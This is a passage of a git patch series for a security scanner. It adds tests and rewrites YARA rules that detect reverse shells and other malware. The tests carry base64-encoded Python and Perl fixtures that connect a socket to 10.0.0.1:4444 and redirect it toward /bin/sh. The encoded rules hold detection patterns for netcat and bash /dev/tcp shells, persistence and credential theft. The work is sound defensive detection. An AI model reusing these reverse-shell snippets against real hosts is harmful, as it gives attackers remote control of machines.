socket, so no remote command channel exists. Excluding + ``$python_socket`` matches whose span contains a local ``= open(`` + assignment closes this gap. + """ + return base64.b64decode( + "cyA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX1NUUkVBTSkK" + "cy5jb25uZWN0KCgiMTAuMC4wLjEiLCA0NDQ0KSkKcy5jbG9zZSgpCmNvbW1hbmRzID0gb3Bl" + "bigibG9jYWwuY29tbWFuZHMiKQpvcy5kdXAyKGNvbW1hbmRzLmZpbGVubygpLCAwKQpzdWJw" + "cm9jZXNzLnJ1bihbIi9iaW4vc2giXSkK" + ).decode() + + +def _python_stdin_kwarg_local_open_fixture() -> str: + """The ``stdin=`` keyword-argument analogue of + `_python_dup2_local_open_fixture`: the redirected descriptor comes from a + local ``open()`` call, never the socket, so this must NOT match either. + """ + return base64.b64decode( + "aW1wb3J0IHNvY2tldCwgc3VicHJvY2VzcwpzID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZf" + "SU5FVCwgc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCIxMC4wLjAuMSIsIDQ0NDQp" + "KQpjb21tYW5kcyA9IG9wZW4oImxvY2FsLmNvbW1hbmRzIikKc3VicHJvY2Vzcy5jYWxsKFsi" + "L2Jpbi9zaCJdLCBzdGRpbj1jb21tYW5kcy5maWxlbm8oKSkK" + ).decode() + + +def _python_dup2_sh_helper_hyphen_fixture() -> str: + """``os.dup2`` onto stdin followed by a non-shell helper whose name has + ``sh`` as a mere prefix before a hyphen (``sh-helper``), not a shell + executable. + + ``\\b`` transitions on any non-word character, and ``-`` is non-word, so + the shell-name alternatives matched ``sh`` inside ``sh-helper`` the same + way they previously matched it inside ``sha256sum``. + """ + return base64.b64decode( + "aW1wb3J0IHNvY2tldCwgb3MsIHN1YnByb2Nlc3MKcyA9IHNvY2tldC5zb2NrZXQoc29ja2V0" + "LkFGX0lORVQsIHNvY2tldC5TT0NLX1NUUkVBTSkKcy5jb25uZWN0KCgiMTAuMC4wLjEiLCA0" + "NDQ0KSkKb3MuZHVwMihzLmZpbGVubygpLCAwKQpzdWJwcm9jZXNzLnJ1bihbInNoLWhlbHBl" + "ciJdKQo=" + ).decode() + + +def _perl_local_input_no_amp_fixture() -> str: + """Redirects Perl's ``STDIN`` from a local file path, not the socket, then + ``exec``s a shell. + + The dup-onto-a-handle idiom (``open(STDIN, "<&SOCKET")``) always uses the + ``&`` fd-duplication form; plain filename opens (``open(STDIN, "<", + "local.commands")``) read from local disk instead, so this must NOT + match ``reverse_shell``/``$perl_socket``. + """ + return base64.b64decode( + "dXNlIFNvY2tldDsKc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sIGdldHBy" + "b3RvYnluYW1lKCJ0Y3AiKSk7CmNvbm5lY3QoU09DS0VULCBzb2NrYWRkcl9pbigkcG9ydCwg" + "aW5ldF9hdG9uKCRpcCkpKTsKb3BlbihTVERJTiwgIjwiLCAibG9jYWwuY29tbWFuZHMiKTsK" + "ZXhlYygiL2Jpbi9zaCIpOwo=" + ).decode() + + +def _perl_local_output_no_amp_fixture() -> str: + """The ``STDOUT`` analogue of `_perl_local_input_no_amp_fixture`: output + redirected to a local log file, not the socket, must also NOT match. + """ + return base64.b64decode( + "dXNlIFNvY2tldDsKc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sIGdldHBy" + "b3RvYnluYW1lKCJ0Y3AiKSk7CmNvbm5lY3QoU09DS0VULCBzb2NrYWRkcl9pbigkcG9ydCwg" + "aW5ldF9hdG9uKCRpcCkpKTsKb3BlbihTVERPVVQsICI+IiwgImxvY2FsLmxvZyIpOwpleGVj" + "KCIvYmluL3NoIik7Cg==" + ).decode() + + +def _perl_sh_helper_hyphen_fixture() -> str: + """Redirects ``STDIN`` onto the socket, then ``exec``s ``sh-helper`` — a + non-shell helper whose name merely has ``sh`` as a prefix before a + hyphen. + + Mirrors `_python_dup2_sh_helper_hyphen_fixture`'s boundary gap for Perl. + """ + return base64.b64decode( + "dXNlIFNvY2tldDsKc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sIGdldHBy" + "b3RvYnluYW1lKCJ0Y3AiKSk7CmNvbm5lY3QoU09DS0VULCBzb2NrYWRkcl9pbigkcG9ydCwg" + "aW5ldF9hdG9uKCRpcCkpKTsKb3BlbihTVERJTiwgIjwmU09DS0VUIik7CmV4ZWMoInNoLWhl" + "bHBlciIpOwo=" + ).decode() + + def _has_rule(findings: list, rule_name: str) -> bool: """Return True when a finding message references a specific YARA rule.""" return any(rule_name in f.message for f in findings) @@ -1011,6 +1104,75 @@ def test_reverse_shell_rule_does_not_match_perl_helper_exec_with_sh_prefix(self) ) assert not _has_rule(findings, "reverse_shell") + def test_reverse_shell_rule_does_not_match_python_dup2_local_open(self): + """``dup2`` redirection sourced from a local ``open()`` call, not the + (already closed) socket, must NOT satisfy `$python_socket`. See + `_python_dup2_local_open_fixture`: this must NOT match. + """ + findings = _run_builtin( + _python_dup2_local_open_fixture(), + "scripts/backdoor.py", + ) + assert not _has_rule(findings, "reverse_shell") + + def test_reverse_shell_rule_does_not_match_python_stdin_kwarg_local_open(self): + """The ``stdin=`` keyword-argument form of redirection sourced from a + local ``open()`` call must NOT satisfy `$python_socket` either. See + `_python_stdin_kwarg_local_open_fixture`: this must NOT match. + """ + findings = _run_builtin( + _python_stdin_kwarg_local_open_fixture(), + "scripts/backdoor.py", + ) + assert not _has_rule(findings, "reverse_shell") + + def test_reverse_shell_rule_does_not_match_python_dup2_sh_helper_hyphen(self): + """A non-shell helper whose name has ``sh`` as a prefix before a + hyphen (``sh-helper``) must NOT satisfy the shell-execution marker — + ``-`` is a non-word character, so a bare ``\\b`` boundary after the + shell name is not a complete token boundary. See + `_python_dup2_sh_helper_hyphen_fixture`: this must NOT match. + """ + findings = _run_builtin( + _python_dup2_sh_helper_hyphen_fixture(), + "scripts/report.py", + ) + assert not _has_rule(findings, "reverse_shell") + + def test_reverse_shell_rule_does_not_match_perl_local_input_no_amp(self): + """Perl's ``STDIN`` redirected from a local file path (no ``&`` + fd-duplication) must NOT satisfy `$perl_socket`. See + `_perl_local_input_no_amp_fixture`: this must NOT match. + """ + findings = _run_builtin( + _perl_local_input_no_amp_fixture(), + "scripts/backdoor.pl", + ) + assert not _has_rule(findings, "reverse_shell") + + def test_reverse_shell_rule_does_not_match_perl_local_output_no_amp(self): + """Perl's ``STDOUT`` redirected to a local file path (no ``&`` + fd-duplication) must NOT satisfy `$perl_socket`. See + `_perl_local_output_no_amp_fixture`: this must NOT match. + """ + findings = _run_builtin( + _perl_local_output_no_amp_fixture(), + "scripts/backdoor.pl", + ) + assert not _has_rule(findings, "reverse_shell") + + def test_reverse_shell_rule_does_not_match_perl_sh_helper_hyphen(self): + """A non-shell helper whose name has ``sh`` as a prefix before a + hyphen (``sh-helper``) must NOT satisfy `$perl_socket`'s + shell-execution marker. See `_perl_sh_helper_hyphen_fixture`: this + must NOT match. + """ + findings = _run_builtin( + _perl_sh_helper_hyphen_fixture(), + "scripts/report.pl", + ) + assert not _has_rule(findings, "reverse_shell") + def test_extra_rules_still_match_with_builtin_malware_representation(self, tmp_path): _write_rule( tmp_path, From 41f4d5a8379a5a3da83f5739b9347bdf7262e559 Mon Sep 17 00:00:00 2001 From: Udaya Tejas Date: Thu, 1 Oct 2026 18:32:46 -0400 Subject: [PATCH 6/8] fix(yara): split certain vs. heuristic reverse-shell detection to kill FPs and restore lost shells Addresses @rng1995's blocking review of the reverse_shell rewrite. The single greedy dot-all rule both over-matched (unbound local redirection scored CRITICAL) and under-matched (the $python_local_open negative exclusion cancelled real shells and skewed finding locations; stricter multiline evidence regressed main's single-line detections). Split detection into two rules: - reverse_shell (CRITICAL, 0.85): restored to main's exact single-line strings and `any of them` condition. Every single-line shell main detects stays CRITICAL (dup2 list-comprehension, sys.stdin.fileno(), stdin=, subprocess alias, pty.spawn, perl system/exec one- liners), with no new behavior and no negative-exclusion string. - reverse_shell_multiline (HIGH, 0.6): bounded dot-all evidence requiring socket creation + connect, descriptor redirection onto stdin (dup2 to fd 0, the (0,1,2) loop/comprehension forms, or stdin=.fileno()), and a shell-execution marker. Catches real multiline shells (dup2+subprocess /execl/pty.spawn, fileno kwargs, perl open-dup + exec incl. no-paren and three-arg forms). Because YARA cannot bind the redirected descriptor to the connected socket, this is reported at reduced severity/confidence rather than as a certain reverse shell. Point-by-point vs. the review: - [P2] sha256sum / sh-helper prefix: shell token ends in a delimiter class that excludes letters and '-', so prefixes no longer match. - [P1] dup2-less forms (direct stdin= redirection, execl, pty.spawn) and Perl optional-parenthesis / no-paren open+exec: all detected. - [P2] unrelated local logging (dup2 to fd 1): requires fd 0, stays negative. - Finding 1 & 2: removed the $python_local_open exclusion entirely, so a stray `= open(` no longer cancels a real shell or corrupts the finding's reported line/snippet/fingerprint. - Finding 3: unbound local-redirection lookalikes (with open(...), perl <&CMDS and three-arg <&) now report at reduced severity, never CRITICAL. - Finding 4: single-line shells restored at CRITICAL; multiline dup2 loop detected by the heuristic rule. Adds positive regressions (file read before dup2, probe socket + clean shell, trailing cleanup open, dup2 loop), reduced-severity negatives (with open, perl local/three-arg dup), a location-integrity regression, and single-line CRITICAL coverage for both languages. Rebased onto main; kept both the reverse-shell and webshell fixture blocks. Signed-off-by: Udaya Tejas --- src/skillspector/yara_rules/malware.yar.b64 | 199 +++++------ tests/nodes/analyzers/test_static_yara.py | 345 +++++++++++++++++++- 2 files changed, 439 insertions(+), 105 deletions(-) diff --git a/src/skillspector/yara_rules/malware.yar.b64 b/src/skillspector/yara_rules/malware.yar.b64 index 1c6af7c15..84d2402fc 100644 --- a/src/skillspector/yara_rules/malware.yar.b64 +++ b/src/skillspector/yara_rules/malware.yar.b64 @@ -12,100 +12,105 @@ X3JldnNoZWxsICAgID0gL2Jhc2hccystaVxzKz4mXHMqXC9kZXZcL3RjcFwvLyBub2Nhc2UNCiAg ICAgICAgJG5jX3NoZWxsICAgICAgICAgPSAvbmNccy4qLWVccypcL2JpblwvKGJhKT9zaC8gbm9j YXNlDQogICAgICAgICRuY2F0X3NoZWxsICAgICAgID0gL25jYXRccy4qLWVccypcL2JpblwvKGJh KT9zaC8gbm9jYXNlDQogICAgICAgICRweXRob25fc29ja2V0ICAgID0gL3NvY2tldFwuc29ja2V0 -XCguezAsMjAwfVNPQ0tfU1RSRUFNLnswLDIwMH1cLmNvbm5lY3RcKC57MCwzMDB9KGR1cDJccypc -KC57MCw1MH1cLmZpbGVub1woXClccyosXHMqMFxzKlwpLnswLDMwMH0oc3VicHJvY2Vzc1wuKGNh -bGx8UG9wZW58cnVuKVxzKlwoXHMqXFw/XFs/XHMqXFw/W1wiJ11cXD8oXC9iaW5cLyk/KHNofGJh -c2h8ZGFzaHxhc2h8enNofGtzaHxjc2gpW1xzXCInXF0pLDtcXF18b3NcLnN5c3RlbVxzKlwoXHMq -XFw/W1wiJ11cXD8oXC9iaW5cLyk/KHNofGJhc2h8ZGFzaHxhc2h8enNofGtzaHxjc2gpW1xzXCIn -XF0pLDtcXF18cHR5XC5zcGF3blxzKlwoXHMqXFw/XFs/XHMqXFw/W1wiJ11cXD8oXC9iaW5cLyk/ -KHNofGJhc2h8ZGFzaHxhc2h8enNofGtzaHxjc2gpW1xzXCInXF0pLDtcXF18b3NcLmV4ZWNbbHZd -XHcqXHMqXChccypcXD9bXCInXVxcPyhcL2JpblwvKT8oc2h8YmFzaHxkYXNofGFzaHx6c2h8a3No -fGNzaClbXHNcIidcXSksO1xcXSl8c3VicHJvY2Vzc1wuKGNhbGx8UG9wZW58cnVuKVxzKlwoXHMq -XFw/XFs/XHMqXFw/W1wiJ11cXD8oXC9iaW5cLyk/KHNofGJhc2h8ZGFzaHxhc2h8enNofGtzaHxj -c2gpW1xzXCInXF0pLDtcXF0uezAsMjAwfXN0ZGluXHMqPVxzKlx3K1wuZmlsZW5vXChcKSkvcw0K -ICAgICAgICAkcGVybF9zb2NrZXQgICAgICA9IC91c2VccytTb2NrZXQ7LnswLDIwMH1zb2NrZXRc -cypcKFxzKlNPQ0suezAsMjAwfWNvbm5lY3RccypcKC57MCwzMDB9b3BlblxzKlwoP1xzKlNURChJ -TnxPVVR8RVJSKVxzKixccypbXCInXT9bPD5dezEsMn0mLnswLDIwMH1leGVjXHMqXCg/XHMqXFw/ -W1wiJ11cXD8oXC9iaW5cLyk/KHNofGJhc2h8ZGFzaHxhc2h8enNofGtzaHxjc2gpW1xzXCInXF0p -LDtcXF0vcw0KICAgICAgICAkcGhwX2Zzb2NrICAgICAgICA9IC9mc29ja29wZW5ccypcKC4qZXhl -Y1xzKlwoLyBub2Nhc2UNCiAgICAgICAgJHJ1YnlfdGNwc29ja2V0ICAgPSAvVENQU29ja2V0XC5c -cypuZXdccypcKC4qZXhlY1xzKlwoLw0KICAgICAgICAkcG93ZXJzaGVsbF90Y3AgICA9IC9OZXct -T2JqZWN0XHMrU3lzdGVtXC5OZXRcLlNvY2tldHNcLlRDUENsaWVudC8gbm9jYXNlDQogICAgICAg -ICRzb2NhdF9zaGVsbCAgICAgID0gL3NvY2F0XHMrLipFWEVDLipcL2JpblwvKGJhKT9zaC8gbm9j -YXNlDQogICAgICAgICRta2ZpZm9fc2hlbGwgICAgID0gL21rZmlmb1xzKy4qXHxccypcL2Jpblwv -KGJhKT9zaC8NCiAgICAgICAgJHB5dGhvbl9sb2NhbF9vcGVuID0gLz1ccypvcGVuXHMqXCgvDQog -ICAgY29uZGl0aW9uOg0KICAgICAgICAkYmFzaF9yZXZzaGVsbCBvciAkbmNfc2hlbGwgb3IgJG5j -YXRfc2hlbGwgb3IgJHBocF9mc29jayBvciAkcnVieV90Y3Bzb2NrZXQgb3INCiAgICAgICAgJHBv -d2Vyc2hlbGxfdGNwIG9yICRzb2NhdF9zaGVsbCBvciAkbWtmaWZvX3NoZWxsIG9yICRwZXJsX3Nv -Y2tldCBvcg0KICAgICAgICAoDQogICAgICAgICAgICAkcHl0aG9uX3NvY2tldCBhbmQgbm90ICgN -CiAgICAgICAgICAgICAgICAkcHl0aG9uX2xvY2FsX29wZW4gYW5kDQogICAgICAgICAgICAgICAg -Zm9yIGFueSBpIGluICgxLi4jcHl0aG9uX3NvY2tldCkgOiAoDQogICAgICAgICAgICAgICAgICAg -ICRweXRob25fbG9jYWxfb3BlbiBpbiAoQHB5dGhvbl9zb2NrZXRbaV0gLi4gQHB5dGhvbl9zb2Nr -ZXRbaV0gKyAhcHl0aG9uX3NvY2tldFtpXSkNCiAgICAgICAgICAgICAgICApDQogICAgICAgICAg -ICApDQogICAgICAgICkNCn0NCg0KcnVsZSBiYWNrZG9vcl9wZXJzaXN0ZW5jZQ0Kew0KICAgIG1l -dGE6DQogICAgICAgIGRlc2NyaXB0aW9uID0gIkJhY2tkb29yIHBlcnNpc3RlbmNlIHdpdGggbWFs -aWNpb3VzIHBheWxvYWRzIChzaGVsbCBjb21tYW5kcywgU1NIIGtleSBpbmplY3Rpb24sIGhpZGRl -biByb290IHVzZXJzKSINCiAgICAgICAgY2F0ZWdvcnkgPSAibWFsd2FyZSINCiAgICAgICAgc2V2 -ZXJpdHkgPSAiSElHSCINCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjc1Ig0KICAgICAgICByZWZl -cmVuY2UgPSAiaHR0cHM6Ly9naXRodWIuY29tL05lbzIzeDAvc2lnbmF0dXJlLWJhc2UiDQogICAg -c3RyaW5nczoNCiAgICAgICAgJGhpZGRlbl91c2VyICAgICAgID0gL3VzZXJhZGRccysuKi1vXHMr -LXVccyswLyBub2Nhc2UNCiAgICAgICAgJGNyb25fcGVyc2lzdCAgICAgID0gL2Nyb250YWJccy4q -KGN1cmx8d2dldHxuY3xiYXNofHB5dGhvbikvIG5vY2FzZQ0KICAgICAgICAkc3NoX2luamVjdCAg -ICAgICAgPSAvZWNob1xzKy4qPj4/XHMqLipcLnNzaFwvYXV0aG9yaXplZF9rZXlzLyBub2Nhc2UN -CiAgICAgICAgJHN5c3RlbWRfcGVyc2lzdCAgID0gL1xbU2VydmljZVxdLipFeGVjU3RhcnQuKihu -Y3xiYXNofHB5dGhvbnxjdXJsKS8gbm9jYXNlDQogICAgICAgICRiYXNocmNfcGVyc2lzdCAgICA9 -IC9lY2hvXHMrLio+Pj9ccyouKlwuYmFzaHJjLyBub2Nhc2UNCiAgICAgICAgJHByb2ZpbGVfcGVy -c2lzdCAgID0gL2VjaG9ccysuKj4+P1xzKi4qXC5wcm9maWxlLyBub2Nhc2UNCiAgICAgICAgJGlu -aXRfcGVyc2lzdCAgICAgID0gL1wvZXRjXC9pbml0XC5kXC8uKihuY3xiYXNofHJldmVyc2UpLyBu -b2Nhc2UNCiAgICAgICAgJGxkX3ByZWxvYWQgICAgICAgID0gL0xEX1BSRUxPQUQuKlwuc28vIG5v -Y2FzZQ0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0NCg0KcnVsZSBrZXls -b2dnZXJfaW5kaWNhdG9ycw0Kew0KICAgIG1ldGE6DQogICAgICAgIGRlc2NyaXB0aW9uID0gIktl -eWxvZ2dlciBmdW5jdGlvbmFsaXR5IGluIHNjcmlwdHMgb3Igc291cmNlIGNvZGUiDQogICAgICAg -IGNhdGVnb3J5ID0gIm1hbHdhcmUiDQogICAgICAgIHNldmVyaXR5ID0gIkhJR0giDQogICAgICAg -IGNvbmZpZGVuY2UgPSAiMC43Ig0KICAgIHN0cmluZ3M6DQogICAgICAgICRweW5wdXQgICAgICAg -ICA9IC9mcm9tXHMrcHlucHV0XC5rZXlib2FyZFxzK2ltcG9ydC8gbm9jYXNlDQogICAgICAgICRr -ZXlib2FyZF9ob29rICA9IC9rZXlib2FyZFwuKG9uX3ByZXNzfGhvb2t8b25fcmVsZWFzZSkvIG5v -Y2FzZQ0KICAgICAgICAkeGlucHV0X3Rlc3QgICAgPSAveGlucHV0XHMrdGVzdC8gbm9jYXNlDQog -ICAgICAgICRsb2drZXlzICAgICAgICA9IC9sb2drZXlzXHMrLS1zdGFydC8gbm9jYXNlDQogICAg -ICAgICRrZXliZF9ldmVudCAgICA9IC8oR2V0QXN5bmNLZXlTdGF0ZXxTZXRXaW5kb3dzSG9va0V4 -LipXSF9LRVlCT0FSRCkvIG5vY2FzZQ0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55IG9mIHRo -ZW0NCn0NCg0KcnVsZSByYW5zb213YXJlX2JlaGF2aW9yDQp7DQogICAgbWV0YToNCiAgICAgICAg -ZGVzY3JpcHRpb24gPSAiUmFuc29td2FyZS1saWtlIHBhdHRlcm5zIChtYXNzIGVuY3J5cHRpb24s -IHJhbnNvbSBub3RlcykiDQogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUiDQogICAgICAgIHNl -dmVyaXR5ID0gIkNSSVRJQ0FMIg0KICAgICAgICBjb25maWRlbmNlID0gIjAuOCINCiAgICBzdHJp -bmdzOg0KICAgICAgICAkd2Fsa19lbmNyeXB0ICAgPSAvb3NcLndhbGtccypcKC4qXC4oZW5jcnlw -dHxjaXBoZXIpLw0KICAgICAgICAkcmFuc29tX25vdGUgICAgPSAvKHlvdXJccytmaWxlc1xzKyho -YXZlXHMrYmVlbnxhcmUpXHMrZW5jcnlwdGVkfHBheVxzKy4qYml0Y29pbnxzZW5kXHMrLipidGMp -LyBub2Nhc2UNCiAgICAgICAgJGV4dF9yZW5hbWUgICAgID0gL29zXC5yZW5hbWVccypcKC4qXCtc -cypbJyJdXC4obG9ja2VkfGVuY3J5cHRlZHxjcnlwdHxlbmMpWyciXVxzKlwpLw0KICAgICAgICAk -bWFzc19vdmVyd3JpdGUgPSAvb3NcLndhbGtccypcKC4qb3BlblxzKlwoLipbJ1wiXXdiWydcIl1c -KS8NCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBvZiB0aGVtDQp9DQoNCnJ1bGUgYzJfZnJh -bWV3b3JrX2luZGljYXRvcnMNCnsNCiAgICBtZXRhOg0KICAgICAgICBkZXNjcmlwdGlvbiA9ICJD -b21tYW5kLWFuZC1jb250cm9sIGZyYW1ld29yayBpbmRpY2F0b3JzIChDb2JhbHQgU3RyaWtlLCBN -ZXRhc3Bsb2l0LCBTbGl2ZXIsIGV0Yy4pIg0KICAgICAgICBjYXRlZ29yeSA9ICJtYWx3YXJlIg0K -ICAgICAgICBzZXZlcml0eSA9ICJDUklUSUNBTCINCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjg1 -Ig0KICAgICAgICByZWZlcmVuY2UgPSAiaHR0cHM6Ly9naXRodWIuY29tL05lbzIzeDAvc2lnbmF0 -dXJlLWJhc2UiDQogICAgc3RyaW5nczoNCiAgICAgICAgJGNvYmFsdF9zdHJpa2UgID0gImNvYmFs -dHN0cmlrZSIgbm9jYXNlDQogICAgICAgICRtZXRlcnByZXRlciAgICA9ICJtZXRlcnByZXRlciIg -bm9jYXNlDQogICAgICAgICRtZXRhc3Bsb2l0ICAgICA9IC9tZXRhc3Bsb2l0LioocGF5bG9hZHxl -eHBsb2l0fHN0YWdlcikvIG5vY2FzZQ0KICAgICAgICAkZW1waXJlICAgICAgICAgPSAvcG93ZXJz -aGVsbC4qZW1waXJlLyBub2Nhc2UNCiAgICAgICAgJHNsaXZlcl9jMiAgICAgID0gL3NsaXZlci4q -KGltcGxhbnR8YmVhY29ufHNlc3Npb24pLyBub2Nhc2UNCiAgICAgICAgJGNvdmVuYW50ICAgICAg -ID0gL0NvdmVuYW50LiooR3J1bnR8TGlzdGVuZXIpLyBub2Nhc2UNCiAgICAgICAgJGhhdm9jX2My -ICAgICAgID0gL2hhdm9jLiooZGVtb258dGVhbXNlcnZlcikvIG5vY2FzZQ0KICAgICAgICAkYmVh -Y29uX2NvbmZpZyAgPSAvKEJlYWNvblR5cGV8QzJTZXJ2ZXJ8UHVibGljS2V5Lip3YXRlcm1hcmsp -LyBub2Nhc2UNCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBvZiB0aGVtDQp9DQoNCnJ1bGUg -aW5mb19zdGVhbGVyDQp7DQogICAgbWV0YToNCiAgICAgICAgZGVzY3JpcHRpb24gPSAiSW5mb3Jt -YXRpb24gc3RlYWxlciBwYXR0ZXJucyAoY3JlZGVudGlhbCBoYXJ2ZXN0aW5nLCBicm93c2VyIGRh -dGEgdGhlZnQpIg0KICAgICAgICBjYXRlZ29yeSA9ICJtYWx3YXJlIg0KICAgICAgICBzZXZlcml0 -eSA9ICJISUdIIg0KICAgICAgICBjb25maWRlbmNlID0gIjAuNzUiDQogICAgICAgIHJlZmVyZW5j -ZSA9ICJodHRwczovL2dpdGh1Yi5jb20vTmVvMjN4MC9zaWduYXR1cmUtYmFzZSINCiAgICBzdHJp -bmdzOg0KICAgICAgICAkY2hyb21lX2xvZ2luICAgICA9IC9DaHJvbWUuKkxvZ2luXHMqRGF0YS8g -bm9jYXNlDQogICAgICAgICRmaXJlZm94X2xvZ2lucyAgID0gL2xvZ2luc1wuanNvbi4qZmlyZWZv -eC8gbm9jYXNlDQogICAgICAgICRicm93c2VyX2Nvb2tpZXMgID0gL0Nvb2tpZXMuKihjaHJvbWV8 -ZmlyZWZveHxlZGdlfG9wZXJhKS8gbm9jYXNlDQogICAgICAgICR3YWxsZXRfc3RlYWwgICAgID0g -L3dhbGxldFwuZGF0LyBub2Nhc2UNCiAgICAgICAgJG1pbWlrYXR6ICAgICAgICAgPSAibWltaWth -dHoiIG5vY2FzZQ0KICAgICAgICAkbGF6YWduZSAgICAgICAgICA9ICJsYXphZ25lIiBub2Nhc2UN -CiAgICAgICAgJGNyZWRfZHVtcF9zYW0gICAgPSAvcmVnXHMrc2F2ZVxzKy4qXFxzYW0vIG5vY2Fz -ZQ0KICAgICAgICAkbnRkc19kdW1wICAgICAgICA9IC9udGRzXC5kaXQvIG5vY2FzZQ0KICAgIGNv -bmRpdGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0NCg== +XCguKlNPQ0tfU1RSRUFNLipcLmNvbm5lY3RcKC8NCiAgICAgICAgJHBlcmxfc29ja2V0ICAgICAg +PSAvdXNlXHMrU29ja2V0Oy4qc29ja2V0XHMqXChccypTT0NLLw0KICAgICAgICAkcGhwX2Zzb2Nr +ICAgICAgICA9IC9mc29ja29wZW5ccypcKC4qZXhlY1xzKlwoLyBub2Nhc2UNCiAgICAgICAgJHJ1 +YnlfdGNwc29ja2V0ICAgPSAvVENQU29ja2V0XC5ccypuZXdccypcKC4qZXhlY1xzKlwoLw0KICAg +ICAgICAkcG93ZXJzaGVsbF90Y3AgICA9IC9OZXctT2JqZWN0XHMrU3lzdGVtXC5OZXRcLlNvY2tl +dHNcLlRDUENsaWVudC8gbm9jYXNlDQogICAgICAgICRzb2NhdF9zaGVsbCAgICAgID0gL3NvY2F0 +XHMrLipFWEVDLipcL2JpblwvKGJhKT9zaC8gbm9jYXNlDQogICAgICAgICRta2ZpZm9fc2hlbGwg +ICAgID0gL21rZmlmb1xzKy4qXHxccypcL2JpblwvKGJhKT9zaC8NCiAgICBjb25kaXRpb246DQog +ICAgICAgIGFueSBvZiB0aGVtDQp9DQoNCnJ1bGUgcmV2ZXJzZV9zaGVsbF9tdWx0aWxpbmUNCnsN +CiAgICBtZXRhOg0KICAgICAgICBkZXNjcmlwdGlvbiA9ICJQcm9iYWJsZSBtdWx0aWxpbmUgc29j +a2V0IHJldmVyc2Ugc2hlbGwgKHNvY2tldCByZWRpcmVjdGlvbiB0byBzdGRpbiBwbHVzIHNoZWxs +IGV4ZWN1dGlvbik7IHNvY2tldC10by1kZXNjcmlwdG9yIGJpbmRpbmcgaXMgbm90IHByb3ZhYmxl +IGJ5IHNpZ25hdHVyZSwgc28gdGhpcyBpcyByZXBvcnRlZCBhdCByZWR1Y2VkIGNvbmZpZGVuY2Ui +DQogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUiDQogICAgICAgIHNldmVyaXR5ID0gIkhJR0gi +DQogICAgICAgIGNvbmZpZGVuY2UgPSAiMC42Ig0KICAgICAgICByZWZlcmVuY2UgPSAiaHR0cHM6 +Ly9naXRodWIuY29tL05lbzIzeDAvc2lnbmF0dXJlLWJhc2UiDQogICAgc3RyaW5nczoNCiAgICAg +ICAgJHB5X3NvY2sgICA9IC9zb2NrZXRcLnNvY2tldFwoLnswLDIwMH1TT0NLX1NUUkVBTS57MCw0 +MDB9XC5jb25uZWN0XCgvcw0KICAgICAgICAkcHlfcmVkaXIgID0gL2R1cDJccypcKC57MCw2MH1c +LmZpbGVub1woXClccyosXHMqMFxzKlwpfGZvclxzK1x3K1xzK2luXHMqW1woXFtdXHMqMFxzKixc +cyoxXHMqLFxzKjIuezAsODB9ZHVwMlxzKlwoLnswLDYwfVwuZmlsZW5vXChcKXxkdXAyXHMqXCgu +ezAsNjB9XC5maWxlbm9cKFwpXHMqLFxzKlx3K1xzKlwpXHMqZm9yXHMrXHcrXHMraW5ccypbXChc +W11ccyowXHMqLFxzKjFccyosXHMqMnxzdGRpblxzKj1ccypcdytcLmZpbGVub1woXCkvcw0KICAg +ICAgICAkcHlfc2hlbGwgID0gL3N1YnByb2Nlc3NcLihjYWxsfFBvcGVufHJ1bilccypcKFxzKlxb +P1xzKlsiJ10/KFwvKHVzclwvKT9iaW5cLyk/KHNofGJhc2h8ZGFzaHxhc2h8enNofGtzaHxjc2gp +W1xzIidcXSksO1xcXXxvc1wuc3lzdGVtXHMqXChccypbIiddPyhcLyh1c3JcLyk/YmluXC8pPyhz +aHxiYXNofGRhc2h8YXNofHpzaHxrc2h8Y3NoKVtccyInXF0pLDtcXF18cHR5XC5zcGF3blxzKlwo +XHMqXFs/XHMqWyInXT8oXC8odXNyXC8pP2JpblwvKT8oc2h8YmFzaHxkYXNofGFzaHx6c2h8a3No +fGNzaClbXHMiJ1xdKSw7XFxdfG9zXC5leGVjW2x2XVx3KlxzKlwoXHMqWyInXT8oXC8odXNyXC8p +P2JpblwvKT8oc2h8YmFzaHxkYXNofGFzaHx6c2h8a3NofGNzaClbXHMiJ1xdKSw7XFxdL3MNCiAg +ICAgICAgJHBsX3NvY2sgICA9IC9zb2NrZXRccypcKFxzKlx3Ky57MCwyMDB9U09DS19TVFJFQU0u +ezAsNDAwfWNvbm5lY3RccypcKC9zDQogICAgICAgICRwbF9yZWRpciAgPSAvb3BlblxzKlwoP1xz +KlNURChJTnxPVVR8RVJSKVxzKixccypbIiddP1xzKls8Pl17MSwyfSYvDQogICAgICAgICRwbF9z +aGVsbCAgPSAvZXhlY1xzKlwoP1xzKlsiJ10/KFwvKHVzclwvKT9iaW5cLyk/KHNofGJhc2h8ZGFz +aHxhc2h8enNofGtzaHxjc2gpW1xzIidcXSksO1xcXS8NCiAgICBjb25kaXRpb246DQogICAgICAg +ICgkcHlfc29jayBhbmQgJHB5X3JlZGlyIGFuZCAkcHlfc2hlbGwpIG9yICgkcGxfc29jayBhbmQg +JHBsX3JlZGlyIGFuZCAkcGxfc2hlbGwpDQp9DQoNCnJ1bGUgYmFja2Rvb3JfcGVyc2lzdGVuY2UN +CnsNCiAgICBtZXRhOg0KICAgICAgICBkZXNjcmlwdGlvbiA9ICJCYWNrZG9vciBwZXJzaXN0ZW5j +ZSB3aXRoIG1hbGljaW91cyBwYXlsb2FkcyAoc2hlbGwgY29tbWFuZHMsIFNTSCBrZXkgaW5qZWN0 +aW9uLCBoaWRkZW4gcm9vdCB1c2VycykiDQogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUiDQog 